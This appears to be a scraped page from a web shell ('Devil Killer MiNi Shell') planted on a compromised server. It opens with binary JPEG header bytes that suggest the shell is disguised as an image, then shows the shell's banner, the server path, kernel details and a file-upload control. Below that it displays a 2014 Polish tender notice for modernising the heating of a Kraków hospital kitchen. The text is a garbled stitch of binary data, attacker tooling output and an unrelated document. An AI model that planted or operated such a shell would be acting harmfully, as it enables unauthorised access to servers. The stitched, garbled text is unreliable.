JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20141125/

Linux eb5096292c53 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20141125/243951-N-2014.html

<p class="kh_header"><b>Kraków: Poprawa efektywności energetycznej budynku nr 16 -kuchnia szpitalna w zakresie modernizacji systemu ogrzewania</b><br>
<b>Numer ogłoszenia: 243951 - 2014; data zamieszczenia: 25.11.2014</b><br>
OGŁOSZENIE O ZAMÓWIENIU - roboty budowlane<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Szpital Specjalistyczny im. dr J. Babińskiego Samodzielny Publiczny Zakład Opieki Zdrowotnej , ul. Babińskiego 29, 30-393 Kraków, woj. małopolskie, tel. 012 6524347, 6524526, faks 012 2621335.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.babinski.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Samodzielny publiczny zakład opieki zdrowotnej.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Poprawa efektywności energetycznej budynku nr 16 -kuchnia szpitalna w zakresie modernizacji systemu ogrzewania.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> roboty budowlane.</p>
<p><b>II.1.4) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> 3.1.	Przedmiotem zamówienia jest wykonanie zadania inwestycyjnego pn.:Poprawa efektywności energetycznej budynku nr 16 -kuchnia szpitalna -w zakresie modernizacji systemu ogrzewania poprzez montaż dwufunkcyjnego indywidualnego węzła cieplnego, wymiany instalacji c.o., wymiany oświetlenia wewnętrznego na LED-owe, termomodernizacji budynku polegającej na ociepleniu stropu z użyciem wełny mineralnej, wymianie instalacji c.w.u., montażu pompy ciepła wraz z wykonaniem niezbędnych prac w zakresie instalacji elektrycznej, w systemie zaprojektuj i wybuduj, realizowane w ramach projektu pn.: Poprawa efektywności energetycznej na terenie zabytkowego zespołu szpitalno-parkowego w Krakowie Kobierzynie poprzez wprowadzenie zintegrowanego systemu energii odnawialnej współfinansowanego ze środków Małopolskiego Regionalnego Programu Operacyjnego na lata 2007-2013, oś priorytetowa 7 Infrastruktura ochrony środowiska, działanie 7.2 Poprawa jakości powietrza i zwiększenie wykorzystania odnawialnych źródeł energii.
3.2.	Realizacja zadania nastąpi na podstawie opracowanego Programu funkcjonalno-użytkowego pn.: Poprawa efektywności energetycznej budynku nr 16 -kuchnia szpitalna-w zakresie modernizacji systemu ogrzewania poprzez montaż dwufunkcyjnego indywidualnego węzła cieplnego, wymiany instalacji c.o., wymiany oświetlenia wewnętrznego na LED-owe, termomodernizacji budynku polegającej na ociepleniu stropu z użyciem wełny mineralnej, wymianie instalacji c.w.u., montażu pompy ciepła wraz z wykonaniem niezbędnych prac w zakresie instalacji elektrycznej, autorstwa Olgi Kaczmarek, Firma Projektowo Informatyczna K3, ul. Topazowa 5, 30-798 Kraków.
3.3.	Wykonawca winien uwzględnić fakt, że realizacja zadania nastąpi w czynnym budynku kuchni szpitalnej, w którym wytwarzane są codziennie posiłki dla pacjentów oraz znajdują się pomieszczenia biurowe pracowników Szpitala. W tym samym czasie w budynku przebywać będą pracownicy zatrudnieni przez Zamawiającego, osoby wykonujące pracę na zlecenie Zamawiającego oraz wykonujący pracę pracownicy Wykonawcy.
3.4.	Przedmiot zamówienia obejmuje:
3.4.1.	zaprojektowanie i dopełnienie niezbędnych formalności w zakresie uzgodnień, zgłoszeń i pozwoleń.
W ramach zaprojektowania Wykonawca opracuje dokumentację projektową dotyczącą przedmiotu zamówienia oraz uzyska wszelkie niezbędne opinie, zgody, pozwolenia i decyzje, a także dokona zgłoszenia rozpoczęcia robót (zgodnego z aktualnie obowiązującymi przepisami dla realizowanego zakresu robót). Wymagania:
1)	Dokumentacja projektowa powinna obejmować wszelkie wymagane przepisami roboty budowlane i instalacyjne oraz towarzyszące, których celem jest prawidłowe wykonanie robót. 
2)	Dokumentacja projektowa powinna być dostosowana do potrzeb Zamawiającego i wymagań obowiązujących przepisów, m.in.: Prawa budowlanego, przepisów BHP i ppoż. oraz innych branżowych. Wykonawca zobowiązany jest postępować zgodnie z zasadami współczesnej wiedzy konserwatorskiej, architektonicznej, obowiązującymi normami oraz przepisami prawa. 
3)	Dokumentacja projektowa winna być również dostosowana do wymagań obowiązujących przepisów, w szczególności: Rozporządzenia Ministra Infrastruktury z dnia 12 kwietnia 2002r. w sprawie warunków technicznych, jakim powinny odpowiadać budynki i ich usytuowanie, Prawa budowlanego, przepisów sanitarno - higienicznych, BHP i ppoż. 
4)	Zamawiający, na każdym etapie opracowywania dokumentacji, zastrzega sobie prawo do zgłaszania uwag i wskazówek oraz dokonywania korekt dotyczących opracowywanej przez Wykonawcę dokumentacji projektowej. Wykonawca zobowiązuje się uwzględniać zgłoszone zastrzeżenia, jeśli tylko pozostają one w zgodzie z obowiązującymi przepisami prawa, zasadami techniki i współczesnej wiedzy. Wykonawca zobowiązany jest udzielać Zamawiającemu wszelkich wyjaśnień, wskazówek oraz możliwych do przewidzenia konsekwencji proponowanych rozwiązań.
5)	Zamawiający wymaga by częścią dokumentacji projektowej była dokumentacja przedprojektowa, np.: inwentaryzacja budynku - wszystkich kondygnacji/pomieszczeń, niezbędne ekspertyzy, opinie, dokumentacja fotograficzna, itp.
6)	Zamawiający wymaga by dokumentacja projektowa była opracowana w podziale na poszczególne branże. Dokumentacja powinna być spójna i skoordynowana we wszystkich branżach.
7)	Zamawiający wymaga przedłożenia do akceptacji rysunków wykonawczych, specyfikacji technicznych wykonania i odbioru robót budowlanych i instalacyjnych, planu BIOZ przed ich skierowaniem do realizacji, w aspekcie ich zgodności z ustaleniami programu funkcjonalno - użytkowego, wymaganiami Zamawiającego i umowy.
8)	Dokumentacja projektowa winna być wykonana w języku polskim zgodnie z obowiązującymi przepisami, normami, ze sztuką budowlaną oraz powinna być opatrzona klauzulą o kompletności i przydatności z punktu widzenia celu, któremu ma służyć. W tym celu do dokumentacji projektowej Wykonawca dołączy pisemne oświadczenie, że jest ona wykonana zgodnie z umową i kompletna z punktu widzenia celu, któremu ma służyć. 
9)	Zakres i forma dokumentacji projektowej mają być sporządzone zgodnie z Rozporządzeniem Ministra Infrastruktury z dnia 02 września 2004 r. w sprawie szczegółowego zakresu i formy dokumentacji projektowej, specyfikacji technicznych wykonania i odbioru robót budowlanych oraz programu funkcjonalno - użytkowego (Dz. U. z 2004 r. Nr 202, poz.2072 z poźn. zm.) .
10)	W celu uzyskania wymaganych opinii i pozwoleń Wykonawca w ramach zamówienia i umowy zapewni - na etapie składania wniosków i realizacji robót, nadzór osób z odpowiednimi uprawnieniami zgodnie z wymaganiami Rozporządzenia Ministra Kultury i Dziedzictwa Narodowego z dnia 27 lipca 2011r w sprawie prowadzenia prac konserwatorskich, prac restauratorskich, robót budowlanych, badań konserwatorskich, badań architektonicznych i innych działań przy zabytku wpisanym do rejestru zabytków oraz badań archeologicznych. W szczególności wymagania te dotyczą:
a)	pełnienia funkcji kierownika budowy posiadającego odpowiednie uprawnienia budowlane, który dodatkowo wykaże odbycie co najmniej 2-letniej praktyki zawodowej na budowie przy zabytkach nieruchomych wpisanych do rejestru zabytków;
b)	osoby pełniącej nadzór nad pracami konserwatorskimi w obiekcie.
11)	Dokumentacja projektowa winna być uzgodniona z instytucjami państwowymi, których akceptacja jest wymagana dla realizowanego zakresu robót. 
12)	Dokumentacja winna być zatwierdzona i zaakceptowana przez Zamawiającego.
13)	Wykonawca zobowiązany jest do uzyskania w imieniu Zamawiającego wszystkich niezbędnych decyzji, uzgodnień, pozwoleń i opinii oraz podjęcia czynności lub uzyskania dokumentów potrzebnych do wykonania przedmiotu umowy, w tym:
a)	dokonania zgłoszenia budowy właściwemu organowi - zgodnie z art. 30 ustawy - Prawo budowlane, na podstawie którego rozpoczęte zostaną prace remontowo-budowlane lub 
b)	uzyskania ostatecznej decyzji o pozwoleniu na budowę - zgodnie z art. 28 i 32 ustawy - Prawo budowlane, 
- z zastrzeżeniem, że na Wykonawcy ciąży obowiązek podjęcia odpowiednich i terminowych działań w powyższym zakresie.
14)	Kompletna dokumentacja projektowa winna być opracowana w wersji papierowej w 5 egzemplarzach oraz w 2 egzemplarzach na nośniku CD.
15)	Osoby opracowujące dokumentację projektową winny posiadać odpowiednie uprawnienia, kwalifikacje, wiedzę i doświadczenie. Do dokumentacji projektowej Wykonawca dołączy pisemne oświadczenie potwierdzające posiadanie kwalifikacji wymaganych do wykonania przedmiotu zamówienia.
16)	Wykonawca odpowiada za wady opracowanej dokumentacji projektowej. Ujawnione wady Wykonawca zobowiązany jest usunąć w terminie określonym przez Zamawiającego. Poprawki winny być naniesione w każdym egzemplarzu dokumentacji oraz na nośnikach CD.
17)	W trakcie realizacji zamówienia Wykonawca zobowiązany jest do roboczych konsultacji i uzgodnień z Zamawiającym. Dokumentacja projektowa winna w całości odzwierciedlać potrzeby Zamawiającego i jego wytyczne przekazywane Wykonawcy w trakcie jej opracowywania. 
18)	Wykonawca zobowiązuje się w ramach realizacji niniejszego zamówienia przenieść na Zamawiającego całość autorskich praw majątkowych do opracowanej dokumentacji projektowej.
19)	Wraz z dokumentacją projektową Wykonawca, do kwoty ryczałtowej, opracuje i przekaże Zamawiającemu Harmonogram rzeczowo-finansowy realizacji inwestycji. Harmonogram opracowany zostanie przy uwzględnieniu ceny ryczałtowej z Formularza wyceny (załącznik nr 1), z jednoczesnym podaniem nośników cenotwórczych, tj: R, KO (R i S), Zysk (R, S, KO).
20)	Wykonawca w ramach realizacji przedmiotu zamówienia zobowiązuje się do pełnienia nadzoru autorskiego, w tym do udziału w organizowanych przez Zamawiającego naradach i udziału w odbiorach, do pobytu na terenie budowy, a także do konsultacji telefonicznych i mailowych - według potrzeb Zamawiającego.
21)	Ponadto w celu właściwej realizacji zadania Wykonawca zobowiązany jest do:
a)	analizy istniejących dokumentacji technicznej budynku kuchni szpitalnej,
b)	przeprowadzenia wizji lokalnej budynku i infrastruktury - dla dokonania koniecznych pomiarów, badań, sprawdzeń i oceny substancji technicznej obiektu,
c)	dokonywania roboczych konsultacji i uzgodnień z Zamawiającym w trakcie realizacji przedmiotu umowy, przy czym pierwsze spotkanie konsultacyjne Wykonawcy z Zamawiającym powinno się odbyć w terminie do 10 dni roboczych od daty podpisania umowy, w siedzibie Zamawiającego,
d)	niezwłocznego uzupełniania i poprawiania dokumentacji projektowej wg. zaleceń instytucji uzgadniających, celem realizacji umowy w terminach wskazanych w niniejszej umowie.
3.4.2.	zakup, dostawę i montażu urządzeń i wyposażenia instalacji oraz wykonanie prac budowlanych i instalacyjnych w zakresie:
1)	modernizacji systemu ogrzewania poprzez montaż dwufunkcyjnego indywidualnego węzła cieplnego, 
2)	kompleksowej wymiany instalacji c.o. wraz z wymianą grzejników, 
3)	kompleksowej wymiany instalacji c.w.u.,
4)	wymiany oświetlenia wewnętrznego na LED-owe, 
5)	termomodernizacji budynku polegającej na ociepleniu stropu z użyciem wełny mineralnej, 
6)	montażu pomp ciepła (Zamawiający dopuszcza również ewentualny montaż pojedynczego modułu pompy ciepła) typu powietrze-woda pracujących na potrzeby podgrzewu c.w.u. wraz z wykonaniem niezbędnych prac w zakresie przyłącza energii elektrycznej i instalacji elektrycznej dla prawidłowości działania układu,
7)	wykonania koniecznych robót budowlanych i instalacyjnych, w tym: prace demontażowe, niezbędne prace budowlane, instalacyjne (wod-kan, c.o., c.w.u., instalacja elektryczna - zasilanie węzła ciepłego i pomp ciepła), odtworzeniowe, adaptacyjne itp. związane z przedmiotem zamówienia, roboty antykorozyjne i izolacyjne, wszystkie inne prace i czynności niezbędne dla zachowania prawidłowości przebiegu inwestycji, a także wykonanie  opomiarowania: liczniki wody zimnej i ciepłej z cyrkulacją w węźle cieplnym, układ pomiarowy energii cieplnej dla c-o, c.w.u., wodomierz dla ciepłej wody (układ pompy ciepła), wodomierz dla uzupełnienia c.o. oraz licznika energii elektrycznej dla węzła c.o. wraz z pompą ciepła,
8)	przeprowadzenia rozruch, regulacji, prób i odbiorów zgodnie z obowiązującymi wymaganiami,
9)	wywozu gruzu i odpadów powstałych w trakcie realizacji zadania wraz z ich utylizacją na własny koszt i odpowiedzialność,
10)	wykonania prac porządkowych po zrealizowanych pracach.
Ponadto Wykonawca zobowiązuje się do wykonania wszelkich prac i robót oraz świadczenia usług, w tym także tych, które nie są wyraźnie wymienione w Programie funkcjonalno - użytkowym Zamawiającego i w umowie, lecz są konieczne do prawidłowego wykonania przedmiotu zamówienia. 
3.4.3.	Opracowanie dokumentacji powykonawczej:
1)	Wykonawca zobowiązany jest do opracowania dokumentacji powykonawczej zgodnie z aktualnie obowiązującymi przepisami i normami.
2)	Dokumentacja winna być opracowana w wersji papierowej w 2 egzemplarzach oraz w 1 egzemplarzu na nośniku CD.
3)	Osoby opracowujące dokumentację winny posiadać odpowiednie uprawnienia, kwalifikacje, wiedzę i doświadczenie.
4)	Wykonawca odpowiada za wady opracowanej dokumentacji. Ujawnione wady Wykonawca zobowiązany jest usunąć w terminie określonym przez Zamawiającego. Poprawki winny być naniesione w każdym egzemplarzu dokumentacji oraz na nośnikach CD.
W celu złożenia właściwej oferty (właściwego oszacowania przedmiotu zamówienia), a następnie prawidłowej realizacji zadania Wykonawca zobowiązany jest do dokonania wizji lokalnej budynku oraz infrastruktury w obiekcie i wokół budynku - w zakresie w jakim dotyczy to przedmiotu zamówienia. 
3.5.	Harmonogram rzeczowo-finansowy realizacji przedmiotu zamówienia
1)	Wykonawca realizował będzie przedmiot umowy w oparciu o harmonogram rzeczowo-finansowy realizacji inwestycji. Harmonogram rzeczowo-finansowy zawierał będzie podział przedmiotu umowy na opracowanie dokumentacji i poszczególne zakresy robót budowlanych i instalacyjnych.
2)	Wynagrodzenie należne Wykonawcy płatne będzie po zakończeniu przez Wykonawcę robót przewidzianych dla danego zakresu i odebraniu ich przez Zamawiającego na podstawie protokołu odbioru robót (częściowego lub końcowego). 
3)	Zamawiający wymaga by Wykonawca do końcowego odbioru robót pozostawił kwotę wynagrodzenia należnego Wykonawcy - za wykonanie robót przewidzianych w danym zakresie, w wysokości minimum 10% tego wynagrodzenia.
3.6.	Przedmiot zamówienia obejmuje wykonanie i umieszczenie na terenie budowy tablicy informacyjnej zgodnie z wytycznymi Województwa Małopolskiego:
a)	tablica winna zawierać logo Województwa Małopolskiego, herb Województwa Małopolskiego, nazwę zadania inwestycyjnego oraz informację o dofinansowaniu inwestycji ze środków budżetu Województwa Małopolskiego,
b)	powinna znajdować się w widocznym miejscu,
c)	należy ją zamieścić w terminie nie dłuższym niż 10 dni od dnia podpisania umowy i pozostawienia co najmniej do końca bieżącego roku,
d)	tablica winna być wykonana z trwałego materiału, napisy na tablicy należy wykonać w sposób czytelny i estetyczny..</p>

<p><b>II.1.6) Wspólny Słownik Zamówień (CPV):</b> 45.00.00.00-0.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty częściowej:</b> nie.</p>
<p><b>II.1.8) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 25.05.2015.</p>
<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> 15000zł</p>
<p><b>III.2) ZALICZKI</b></p>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Działalność prowadzona na potrzeby wykonania przedmiotu zamówienia nie wymaga posiadania specjalnych uprawnień. Ocenę spełniania warunku udziału w postępowaniu zamawiający przeprowadzi na podstawie załączonego do oferty oświadczenia, metodą spełnia-nie spełnia.</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Warunek zostanie spełniony, jeżeli Wykonawca dołączy poniższe dokumenty o spełnieniu warunków określonych w art. 22 ust.1 ustawy pzp: w szczególności:
a)	wykaz jednej roboty instalacyjno-budowlanej w zakresie modernizacji systemu ogrzewania poprzez montaż dwufunkcyjnego indywidualnego węzła cieplnego oraz wymiany instalacji c.o. (w tym grzejników), o wartości nie mniejszej niż 150tys zł, 
b)	wykaz jednej roboty instalacyjno-budowlanej w zakresie kompleksowej wymiany instalacji c.w.u., o wartości nie mniejszej niż 100tys zł,
c)	wykaz jednej roboty instalacyjno-budowlanej w zakresie montażu pomp ciepła typu powietrze-woda pracujących na potrzeby podgrzewu c.w.u. wraz z wykonaniem towarzyszących prac instalacyjnych, o wartości nie mniejszej niż 200tys zł,
d)	wykaz jednej roboty instalacyjno-budowlanej w zakresie wymiany oświetlenia wewnętrznego na LED, o wartości nie mniejszej niż 50tys zł,
e)	wykaz jednej roboty-budowlanej w zakresie termomodernizacji polegającej na ociepleniu stropu z użyciem wełny mineralnej, o wartości nie mniejszej niż 50tys zł,
wykonanych w okresie ostatnich pięciu lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, wraz z podaniem ich rodzaju i wartości, daty i miejsca wykonania wg załącznika nr 7 do SIWZ, 
f)	dowody dotyczące najważniejszych robót, określające, czy roboty te zostały wykonane w sposób należyty oraz wskazujących, czy zostały wykonane zgodnie z zasadami sztuki budowlanej i prawidłowo ukończone, którymi są:
f1)	poświadczenie,
f2)inne dokumenty - jeżeli z uzasadnionych przyczyn o obiektywnym charakterze wykonawca nie jest w stanie uzyskać poświadczenia, o którym mowa w pkt b1).
W miejsce poświadczeń, o których mowa powyżej Wykonawca może przedłożyć dokumenty potwierdzające należyte wykonanie robót budowlanych zgodnie z zasadami sztuki budowlanej i ich prawidłowego ukończenia, określone w §1 ust 1 pkt 2 i 3 rozporządzenia Prezesa  Rady Ministrów z dnia 30.12.2009r. w sprawie rodzajów dokumentów jakich może żądać zamawiający od wykonawcy oraz form w jakich te dokumenty mogą być składane (Dz. U. nr 226, poz. 1817).
Ocenę spełniania warunku udziału w postępowaniu zamawiający przeprowadzi na podstawie załączonych dokumentów do oferty, metodą spełnia-nie spełnia.</p>
</li></ul></li><li><p><b>III.3.3) Potencjał techniczny</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie wyznacza szczegółowego warunku w tym zakresie. 
Ocenę spełniania warunku udziału w postępowaniu zamawiający przeprowadzi na podstawie załączonego do oferty oświadczenia, metodą spełnia-nie spełnia.</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Warunek zostanie spełniony, jeżeli Wykonawca dołączy poniższe dokumenty o spełnieniu warunków określonych w art. 22 ust.1 ustawy pzp:
a)	wykaz osób, które będą uczestniczyć w wykonywaniu zamówienia, w szczególności odpowiedzialnych za kierowanie robotami budowlanymi wraz z informacjami na temat ich kwalifikacji zawodowych, doświadczenia i wykształcenia niezbędnych do wykonania zamówienia, a także zakresu wykonywanych przez nie czynności, oraz informacją o podstawie do dysponowania tymi osobami  - załączniki nr 5 do SIWZ,
b)	oświadczenie, że osoby, które będą uczestniczyć w wykonywaniu zamówienia, posiadają wymagane uprawnienia, jeżeli ustawy nakładają obowiązek posiadania takich uprawnień na załączniku nr 6 do SIWZ, a w szczególności:
b1)	kierownik budowy posiada uprawnienia do wykonywania samodzielnych funkcji technicznych w budownictwie, obejmujących kierowanie robotami w specjalności konstrukcyjno - budowlanej, zgodnie z ustawą z dnia 7 lipca 1994 r. Prawo budowlane (Dz. U. z 2010 r. Nr 243 poz. 1623, ze zm.), i wykaże się co najmniej 2-letnią praktyką na budowie przy zabytkach nieruchomych, lub/i 
b2)	posiada uprawnienia do kierowania i nadzorowania pracami remontowymi przy zabytkach nieruchomych w specjalności konstrukcyjno-budowlanej, zgodnie z §24 Rozporządzenia Ministra Kultury i Dziedzictwa Narodowego z dnia 27.07.2011r. w sprawie prowadzenia w sprawie prowadzenia prac konserwatorskich, prac restauratorskich, robót budowlanych, badań konserwatorskich, badań architektonicznych i innych działań przy zabytku wpisanym do rejestru zabytków oraz badań archeologicznych a ponadto 
b3)	jest członkiem właściwej izby samorządu zawodowego, zgodnie z ustawą z dnia 15 grudnia 2000 r. o samorządach zawodowych architektów, inżynierów budownictwa oraz urbanistów (Dz. U. nr 5 z 2001r., poz. 42),
Ocenę spełniania warunku udziału w postępowaniu zamawiający przeprowadzi na podstawie załączonych dokumentów do oferty, metodą spełnia-nie spełnia.</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie wyznacza szczegółowego warunku w tym zakresie. 
Ocenę spełniania warunku udziału w postępowaniu zamawiający przeprowadzi na podstawie załączonego do oferty oświadczenia, metodą spełnia-nie spełnia.</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnianiu warunków udziału w postępowaniu należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">wykaz robót budowlanych wykonanych w okresie ostatnich pięciu lat przed upływem terminu składania ofert albo wniosków o dopuszczenie do udziału w postępowaniu, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, wraz z podaniem ich rodzaju i wartości, daty i miejsca wykonania oraz z załączeniem dowodów dotyczących najważniejszych robót, określających, czy roboty te zostały wykonane w sposób należyty oraz wskazujących, czy zostały wykonane zgodnie z zasadami sztuki budowlanej i prawidłowo ukończone;</li>

<li  style="margin-bottom: 12px;">określenie robót budowlanych, których dotyczy obowiązek wskazania przez wykonawcę w wykazie lub złożenia poświadczeń, w tym informacja o robotach budowlanych niewykonanych lub wykonanych nienależycie<br>a)	wykaz jednej roboty instalacyjno-budowlanej w zakresie modernizacji systemu ogrzewania poprzez montaż dwufunkcyjnego indywidualnego węzła cieplnego oraz wymiany instalacji c.o. (w tym grzejników), o wartości nie mniejszej niż 150tys zł, 
b)	wykaz jednej roboty instalacyjno-budowlanej w zakresie kompleksowej wymiany instalacji c.w.u., o wartości nie mniejszej niż 100tys zł,
c)	wykaz jednej roboty instalacyjno-budowlanej w zakresie montażu pomp ciepła typu powietrze-woda pracujących na potrzeby podgrzewu c.w.u. wraz z wykonaniem towarzyszących prac instalacyjnych, o wartości nie mniejszej niż 200tys zł,
d)	wykaz jednej roboty instalacyjno-budowlanej w zakresie wymiany oświetlenia wewnętrznego na LED, o wartości nie mniejszej niż 50tys zł,
